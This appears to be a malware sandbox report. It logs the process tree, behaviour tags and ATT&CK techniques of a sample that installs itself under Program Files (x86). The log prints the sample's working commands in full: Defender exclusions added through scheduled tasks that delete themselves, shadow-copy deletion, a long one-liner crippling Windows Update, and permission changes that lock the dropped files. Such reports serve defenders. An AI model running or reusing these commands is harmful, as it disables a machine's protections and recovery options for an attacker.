  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4380
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2008
- C:\Program Files (x86)\AzX8us\AzX8us.exe
  "C:\Program Files (x86)\AzX8us\AzX8us.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5292
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3452
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4916
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:468
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2724
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4112
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4684
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1644
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\AzX8us\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6040
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\AzX8us\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5680
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5088
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1776
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1672
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1716
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3384
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2524
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:2832
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:1948
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:6020
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1564
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:2176
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:3568
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:5652
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3172
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:3916
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:4532
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:804
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1924
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4936
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:944
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5632
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3216
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1304
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3056
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1772
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:4072
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:1936
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5464
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2940
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1256
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\AzX8us.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3416
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\AzX8us.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\AzX8us.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5824
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\AzX8us.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1232
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\AzX8us.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3100
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\AzX8us.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2432
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3080
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2608
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4488
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2400
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4136
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4156
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4904
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3584
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5840
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1484
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4420
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2564
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4340
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1728
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2244
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6092
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\AzX8us\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AzX8us\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2820
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:412
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2384
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3452
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4312
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2360
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3620
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5364
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:704
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5368
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4996
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3016
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:840

C:\Users\Public\G8d0hL\c8F7Hx.exe
"C:\Users\Public\G8d0hL\c8F7Hx.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4548

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\G8d0hL" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\G8d0hL" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4644

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3076

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6088

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6112

C:\Program Files (x86)\AzX8us\AzX8us.exe
"C:\Program Files (x86)\AzX8us\AzX8us.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2848

C:\Program Files (x86)\AzX8us\AzX8us.exe
"C:\Program Files (x86)\AzX8us\AzX8us.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4716

C:\Program Files (x86)\uBY7pEjQj\lcud17K.exe
"C:\Program Files (x86)\uBY7pEjQj\lcud17K.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2892

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\AzX8us" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3896
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\AzX8us" /t REG_DWORD /d 0 /f
  2⤵
  PID:4724

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3428
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:3780

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2752
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:5692

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3336
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:4684

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2840
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2396

C:\Program Files (x86)\AzX8us\AzX8us.exe
"C:\Program Files (x86)\AzX8us\AzX8us.exe"
1⤵
PID:1904

C:\Program Files (x86)\uBY7pEjQj\lcud17K.exe
"C:\Program Files (x86)\uBY7pEjQj\lcud17K.exe"
1⤵
PID:788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

AzX8us.exe

Path C:\Program Files (x86)\AzX8us\AzX8us.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
